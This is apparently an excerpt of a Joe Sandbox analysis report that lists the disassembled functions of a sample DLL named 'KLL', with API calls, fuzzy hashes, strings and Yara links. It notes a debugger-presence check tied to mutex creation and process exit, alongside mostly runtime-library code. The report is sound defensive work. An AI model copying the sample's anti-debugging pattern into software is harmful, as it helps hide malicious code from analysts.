Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: FolderFromListLocationPathSpecial
String ID:
API String ID: 4082711253-0
Opcode ID: b45033584db0ff50918458eea75e13eeb73f92ba9bd596d7d984fc64c21a1611
Instruction ID: 9a11a17f6220f69402c3702a110ef3f82b0e2f281b4d7b9600f0b9d48610c607
Opcode Fuzzy Hash: b45033584db0ff50918458eea75e13eeb73f92ba9bd596d7d984fc64c21a1611
Instruction Fuzzy Hash: D5112132218B8492DB51DF61E9953DAB360FB8C784F845115FB8D07A59DF7CC2598B40

Function 000000018000766C Relevance: 3.0, APIs: 2, Instructions: 16
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000180008610: IsDebuggerPresent.KERNEL32 ref: 0000000180008614

CreateMutexW.KERNEL32 ref: 0000000180007680
GetLastError.KERNEL32 ref: 000000018000768B

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: CreateDebuggerErrorLastMutexPresent
String ID:
API String ID: 1687116478-0
Opcode ID: ce16e97de93cc2f2369dd741fae51ac398a972cdaea2ebeb19eaf88e5da36a06
Instruction ID: 464a92b69e4a5b0545c007a8c1542b67e276aada4654000c8fa26d6cec054c38
Opcode Fuzzy Hash: ce16e97de93cc2f2369dd741fae51ac398a972cdaea2ebeb19eaf88e5da36a06
Instruction Fuzzy Hash: 09E01230A1590C86FADBFB6658473CD32556F5C7C1F94C425B00A451D3CE2D838C4722

Function 00000001800030E0 Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000180003CFC: ExitProcess.KERNEL32 ref: 0000000180003D11

Part of subcall function 0000000180003848: GetCurrentProcess.KERNEL32 ref: 0000000180003877
Part of subcall function 0000000180003848: OpenProcessToken.ADVAPI32 ref: 0000000180003889

_time64.LIBCMT ref: 00000001800030F0

Part of subcall function 0000000180011908: GetSystemTimeAsFileTime.KERNEL32 ref: 0000000180011916

Part of subcall function 0000000180011010: _getptd.LIBCMT ref: 0000000180011018

Part of subcall function 000000018000766C: CreateMutexW.KERNEL32 ref: 0000000180007680
Part of subcall function 000000018000766C: GetLastError.KERNEL32 ref: 000000018000768B

ExitProcess.KERNEL32 ref: 0000000180003104

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Process$ExitTime$CreateCurrentErrorFileLastMutexOpenSystemToken_getptd_time64
String ID:
API String ID: 1842786081-0
Opcode ID: e727d6bd91fed42a1cb8b422a7c3df18411c8a58581f1657afb338249c281cb4
Instruction ID: d75355d22a127a368bc7d09cb1394b779b82ce499ca6405dd5a3131db84348f5
Opcode Fuzzy Hash: e727d6bd91fed42a1cb8b422a7c3df18411c8a58581f1657afb338249c281cb4
Instruction Fuzzy Hash: 77D0CA30B00A4C14FAEFF3B208677DC21181B0DBC2F40C82AB84240283CC2A82480321

Function 000000018000CB84 Relevance: 1.5, APIs: 1, Instructions: 45
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 000000018000CBC0

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 8b9a4f45559588f056e7b26874cd9d8ca106a5f6c5f638104e52c3583b760725
Instruction ID: f3127f308686a28a436f27b1605a4ebdeb8ec46310982df632531945b46c9cb9
Opcode Fuzzy Hash: 8b9a4f45559588f056e7b26874cd9d8ca106a5f6c5f638104e52c3583b760725
Instruction Fuzzy Hash: 3811CB72710AA887E759CB26D541B98BBA0F388FD0F08C226EF4983714CF74D959CB80

Function 000000018000CC18 Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32 ref: 000000018000CC52

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 40d177127126ef412fe17073fd2d6598e5759e2a14b12820f11d5373857402ef
Instruction ID: edecb821f315b64029a6aadd0479ef2a2e50fe368cfe6db49dfbe80f344103f0
Opcode Fuzzy Hash: 40d177127126ef412fe17073fd2d6598e5759e2a14b12820f11d5373857402ef
Instruction Fuzzy Hash: 44018F75A1516886FBFBC729C550FA93690D76DBC4F74C101E90E02A90CD16CA8E9F07

Function 000000018000CC94 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32 ref: 000000018000CCB7

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: f02f2b81d3e709b799569ba998a7e56bf41314e5a19c22c152f8090a8548de9a
Instruction ID: df5022a590bfddb01a66f64e89f4342aa72460b9279d7b5779c4b84e10b55e10
Opcode Fuzzy Hash: f02f2b81d3e709b799569ba998a7e56bf41314e5a19c22c152f8090a8548de9a
Instruction Fuzzy Hash: CAE04F7361518886F7A6CB79D4C4FA93690974CB88F28C840E64D46794CE26C69A9705

Non-executed Functions

Function 0000000180009B88 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 343timeCOMMON

Download Yara Rule

APIs

Part of subcall function 000000018000CC18: SetFilePointer.KERNEL32 ref: 000000018000CC52

MultiByteToWideChar.KERNEL32 ref: 0000000180009D32
wcsstr.LIBCMT ref: 0000000180009D6D
wcsstr.LIBCMT ref: 0000000180009D81
wcsstr.LIBCMT ref: 0000000180009D95
wcsstr.LIBCMT ref: 0000000180009DA9
wcscpy.LIBCMT ref: 0000000180009DC0
LocalFileTimeToFileTime.KERNEL32 ref: 0000000180009E9B

Strings

\../, xrefs: 0000000180009D77
\..\, xrefs: 0000000180009D63
/../, xrefs: 0000000180009D8B
/..\, xrefs: 0000000180009D9F

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: wcsstr$File$Time$ByteCharLocalMultiPointerWidewcscpy
String ID: /../$/..\$\../$\..\
API String ID: 2997815599-3885502717
Opcode ID: c63cda6550314a1fbc42b64f3b6d4e7199c1a85e5491d223b7fe96266608c992
Instruction ID: ca521236e72358234845f3b875c936ad34a4dc7c036e93cbfb0af18296b17341
Opcode Fuzzy Hash: c63cda6550314a1fbc42b64f3b6d4e7199c1a85e5491d223b7fe96266608c992
Instruction Fuzzy Hash: A2E1D432605A8886EBA6CB65E4807DEB7E0F3897C4F05C026EE9947795DF7CD648CB00

Function 000000018000B328 Relevance: 5.6, Strings: 4, Instructions: 567COMMON

Download Yara Rule

Strings

invalid stored block lengths, xrefs: 000000018000BA93
invalid block type, xrefs: 000000018000B6E9
invalid bit length repeat, xrefs: 000000018000BAA8
too many length or distance symbols, xrefs: 000000018000BA77

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid block type$invalid stored block lengths$too many length or distance symbols
API String ID: 0-26694007
Opcode ID: 34497f86f91dcbaa970d1a6b4e464af1cc6dc0ff953c58766a52c54e6cbb0799
Instruction ID: 0c49969d484c5fead2631cff530fc2d2930a2871b558c7e69245d2a1e367d23d
Opcode Fuzzy Hash: 34497f86f91dcbaa970d1a6b4e464af1cc6dc0ff953c58766a52c54e6cbb0799
Instruction Fuzzy Hash: E532B072214A888BE7B5CF15E4447AE77A5F388784F508119EB8B87B90DF78DA48CF01

Function 00000001800164DC Relevance: 1.5, APIs: 1, Instructions: 14COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32 ref: 000000018001650D

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: bf752e1d2f6d9172045f83168e5615217ef160cdeb4d13bfac8e37ecc3a67743
Instruction ID: d06cde12057cc0f221afb826c5ba649a36ec8fb5c2818196e1554bffb0e224e0
Opcode Fuzzy Hash: bf752e1d2f6d9172045f83168e5615217ef160cdeb4d13bfac8e37ecc3a67743
Instruction Fuzzy Hash: BFE0E231A12A08C2F7C38B45FCCD7D53260B36C759F918982D82E06670DE28C3AD8300

Function 000000018002A128 Relevance: .0, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b7cf14465a5effdf0714f4e6202a2f12931b270634f4103413dad93c7fd9367
Instruction ID: 4d324c054cb7ce1d91d136fa64795ddb6266cd04f8b0a2089925792b3e6e6ab0
Opcode Fuzzy Hash: 5b7cf14465a5effdf0714f4e6202a2f12931b270634f4103413dad93c7fd9367
Instruction Fuzzy Hash: 8CE092A798DAD84AF2D785780C263891F909757FB0F09825FA6604B2C3E9028915C315

Function 0000000180006978 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

_CxxThrowException.LIBCMT ref: 00000001800069CA
std::system_error::system_error.LIBCPMT ref: 00000001800069EB
_CxxThrowException.LIBCMT ref: 0000000180006A06
std::system_error::system_error.LIBCPMT ref: 0000000180006A13
_CxxThrowException.LIBCMT ref: 0000000180006A2E
std::system_error::system_error.LIBCPMT ref: 0000000180006A3B
_CxxThrowException.LIBCMT ref: 0000000180006A56
fclose.LIBCMT ref: 0000000180006A9D

Strings

ios_base::eofbit set, xrefs: 0000000180006A34
ios_base::failbit set, xrefs: 0000000180006A0C
ios_base::badbit set, xrefs: 00000001800069D7

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ExceptionThrow$std::system_error::system_error$fclose
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 772702708-1866435925
Opcode ID: d6f5faf7691fbbf7294e8a70509f7362cea809e2d0874881598b907419e9612a
Instruction ID: d074a680f54ec9ec08e3c3939003c0680e00e3546a68ebab66b229bceba3037f
Opcode Fuzzy Hash: d6f5faf7691fbbf7294e8a70509f7362cea809e2d0874881598b907419e9612a
Instruction Fuzzy Hash: AF41B072B00B5889FB82DB64E9413DC33B1F789788F54C026FA4917A69EF34C64AC340

Function 0000000180010B1C Relevance: 18.1, APIs: 12, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 0000000180010B2D
free.LIBCMT ref: 0000000180010B4A

Part of subcall function 0000000180011028: HeapFree.KERNEL32 ref: 000000018001103E
Part of subcall function 0000000180011028: _errno.LIBCMT ref: 0000000180011048
Part of subcall function 0000000180011028: GetLastError.KERNEL32 ref: 0000000180011050

free.LIBCMT ref: 0000000180010B5F
free.LIBCMT ref: 0000000180010B80
free.LIBCMT ref: 0000000180010B95
free.LIBCMT ref: 0000000180010BA9
free.LIBCMT ref: 0000000180010BB5
free.LIBCMT ref: 0000000180010BE0
EncodePointer.KERNEL32 ref: 0000000180010BE8
free.LIBCMT ref: 0000000180010C01
free.LIBCMT ref: 0000000180010C1A
free.LIBCMT ref: 0000000180010C4B

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: free$Pointer$DecodeEncodeErrorFreeHeapLast_errno
String ID:
API String ID: 4099253644-0
Opcode ID: 8efbbb9c4873a64504c338913681753734603965fa93af017c7514d3672ffed4
Instruction ID: 15c3249af88e0c69ecdc848919ee8cfd5aedf26b8ffdd6a7114bfbf00866e913
Opcode Fuzzy Hash: 8efbbb9c4873a64504c338913681753734603965fa93af017c7514d3672ffed4
Instruction Fuzzy Hash: 6231EC35605E4C85FFD79B11E8993E423A0BB8D7E5F98C216A95906691DFBCC74C8300

Function 0000000180015E98 Relevance: 15.3, APIs: 10, Instructions: 258COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 0000000180015F8C
MultiByteToWideChar.KERNEL32 ref: 0000000180016009
MultiByteToWideChar.KERNEL32 ref: 00000001800160C3
MultiByteToWideChar.KERNEL32 ref: 00000001800160E9

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 4dd2f3d51fef2b2e4243b0112d4500e12d93e6f353a6bb79529204f27a506a7f
Instruction ID: f12991d8f635a15084deab0d295c505a799ec6adcd4f946e76826d6b27806438
Opcode Fuzzy Hash: 4dd2f3d51fef2b2e4243b0112d4500e12d93e6f353a6bb79529204f27a506a7f
Instruction Fuzzy Hash: 33A1B332B00A8896FBA38B2588443DA3792F7487E5F58C625FA994B7D5EE74C74DC300

Function 0000000180001CF8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180001D19
std::_Lockit::_Lockit.LIBCPMT ref: 0000000180001D3E
messages.LIBCPMT ref: 0000000180001DC1
std::bad_exception::bad_exception.LIBCMT ref: 0000000180001DD8
_CxxThrowException.LIBCMT ref: 0000000180001DE9
std::_Facet_Register.LIBCPMT ref: 0000000180001E07

Strings

bad cast, xrefs: 0000000180001DCC

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrowmessagesstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 1501107325-3145022300
Opcode ID: 4fa6d71d50e598c861d8e41435344de83595247ab917785bc3ae51f0c75c13ef
Instruction ID: 6be8ec9a5e01e3fcdaaf724326c06c79c3561aeb9f5e7a92eba98a804540273e
Opcode Fuzzy Hash: 4fa6d71d50e598c861d8e41435344de83595247ab917785bc3ae51f0c75c13ef
Instruction Fuzzy Hash: 83318132204A49C5EA97DB55E8803D97360F79CBE5F548222FA6A076E5DF38C649C700

Function 0000000180001E28 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000180001E49
std::_Lockit::_Lockit.LIBCPMT ref: 0000000180001E6E
ctype.LIBCPMT ref: 0000000180001EF1
std::bad_exception::bad_exception.LIBCMT ref: 0000000180001F08
_CxxThrowException.LIBCMT ref: 0000000180001F19
std::_Facet_Register.LIBCPMT ref: 0000000180001F37

Strings

bad cast, xrefs: 0000000180001EFC

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrowctypestd::bad_exception::bad_exception
String ID: bad cast
API String ID: 4140347317-3145022300
Opcode ID: 11af6d6b638cd6d8533329469352a9a69fc06472c1d1ceca10a31f26675cc4f0
Instruction ID: f5bb61deeb195db591cc52650b3a7efd805bd8f129ffb08db6aca863f4d0a473
Opcode Fuzzy Hash: 11af6d6b638cd6d8533329469352a9a69fc06472c1d1ceca10a31f26675cc4f0
Instruction Fuzzy Hash: 00313032204A89C5EA97DB15E8903ED7361F79CBE5F54C222BA69077E5DF38C64AC700

Function 000000018001C3E4 Relevance: 12.2, APIs: 8, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_crt.LIBCMT ref: 000000018001C40D

Part of subcall function 00000001800150B0: malloc.LIBCMT ref: 00000001800150DB
Part of subcall function 00000001800150B0: Sleep.KERNEL32(?,?,?,00000001800130E8,?,?,?,0000000180012FE7,?,?,0000000D,000000018001A25B,?,?,00000000,000000018001A326), ref: 00000001800150EE

free.LIBCMT ref: 000000018001C50E
free.LIBCMT ref: 000000018001C52A

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: free$Sleep_malloc_crtmalloc
String ID:
API String ID: 2523592665-0
Opcode ID: 08c7913399bfe75442c5bd36f4ccdf5d38f5f124a527d33b01c0bed89ce62920
Instruction ID: 53a15b5c003b08dfd8aa7b6372284484974c1403eafeee31eb887339c51abe7b
Opcode Fuzzy Hash: 08c7913399bfe75442c5bd36f4ccdf5d38f5f124a527d33b01c0bed89ce62920
Instruction Fuzzy Hash: BF61C132301F0893EBA6DF16E99179A33A0F78CBD4F448125AE5C07B51DF78D6A98744

Function 0000000180024C1C Relevance: 10.6, APIs: 7, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180024C47
_errno.LIBCMT ref: 0000000180024C3C

Part of subcall function 0000000180015D98: _getptd_noexit.LIBCMT ref: 0000000180015D9C

_errno.LIBCMT ref: 0000000180024CEA
_invalid_parameter_noinfo.LIBCMT ref: 0000000180024CF5

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd_noexit
String ID:
API String ID: 1573762532-0
Opcode ID: 0e6320d52c62888cb292c7f9f2adc1d3a4cba4df2b00eec7edf4789d12ef84aa
Instruction ID: 60dc5ee10135fc9b18759452741293337481ad3d597f44b9cddfe2a38b087a5a
Opcode Fuzzy Hash: 0e6320d52c62888cb292c7f9f2adc1d3a4cba4df2b00eec7edf4789d12ef84aa
Instruction Fuzzy Hash: 4741FF73A012AD82EBE7AB1591403F973A0E758BD4F98C116FA994F6C5DF38CB498700

Function 000000018001E5C0 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000018001E5E6
_errno.LIBCMT ref: 000000018001E5DB

Part of subcall function 0000000180015D98: _getptd_noexit.LIBCMT ref: 0000000180015D9C

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000000018001E665
_errno.LIBCMT ref: 000000018001E676
_invalid_parameter_noinfo.LIBCMT ref: 000000018001E681

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 09c68a50bd47c7bf267de1c3bdc0ba131d5d7b7b035b4d466721f91e679bcc49
Instruction ID: 1463b95f962a2c4ed0484da295b915dcaa86e61aa08945f31abe9f880451e9d3
Opcode Fuzzy Hash: 09c68a50bd47c7bf267de1c3bdc0ba131d5d7b7b035b4d466721f91e679bcc49
Instruction Fuzzy Hash: 74412472A04AE981FBE6AB1194443FC33E1E769BE5F94C127F7940B6C4DE28CA59C300

Function 000000018001FB08 Relevance: 10.6, APIs: 7, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000000018001FB3C

Part of subcall function 00000001800122DC: _getptd.LIBCMT ref: 00000001800122F2
Part of subcall function 00000001800122DC: __updatetlocinfo.LIBCMT ref: 0000000180012327
Part of subcall function 00000001800122DC: __updatetmbcinfo.LIBCMT ref: 000000018001234E

_errno.LIBCMT ref: 000000018001FB57
_invalid_parameter_noinfo.LIBCMT ref: 000000018001FB62

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 3191669884-0
Opcode ID: 5783f4b1dd017fb1a830f9521c0264a2e8a683892d4a9340d148e56afd20a2f5
Instruction ID: 38719a02ea3c86b8d5291e46a8136ec8eec5fe1ec93e4373e37e687ae71c17b6
Opcode Fuzzy Hash: 5783f4b1dd017fb1a830f9521c0264a2e8a683892d4a9340d148e56afd20a2f5
Instruction Fuzzy Hash: D0315C72608B888AE7A29B51D4947ADA6A4F79CBE4F54C121FE9807BD5CF34CA49C700

Function 000000018000EAF0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 000000018000EAFE
malloc.LIBCMT ref: 000000018000EB0A

Part of subcall function 0000000180012510: _FF_MSGBANNER.LIBCMT ref: 0000000180012540
Part of subcall function 0000000180012510: _NMSG_WRITE.LIBCMT ref: 000000018001254A
Part of subcall function 0000000180012510: HeapAlloc.KERNEL32 ref: 0000000180012565
Part of subcall function 0000000180012510: _callnewh.LIBCMT ref: 000000018001257E
Part of subcall function 0000000180012510: _errno.LIBCMT ref: 0000000180012589
Part of subcall function 0000000180012510: _errno.LIBCMT ref: 0000000180012594

_CxxThrowException.LIBCMT ref: 000000018000EB53

Part of subcall function 0000000180011968: RtlPcToFileHeader.KERNEL32 ref: 00000001800119D6
Part of subcall function 0000000180011968: RaiseException.KERNEL32 ref: 0000000180011A15

_calloc_crt.LIBCMT ref: 000000018000EB6A

Part of subcall function 0000000180015030: _calloc_impl.LIBCMT ref: 000000018001505E

EncodePointer.KERNEL32 ref: 000000018000EB75

Strings

bad allocation, xrefs: 000000018000EB1A

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
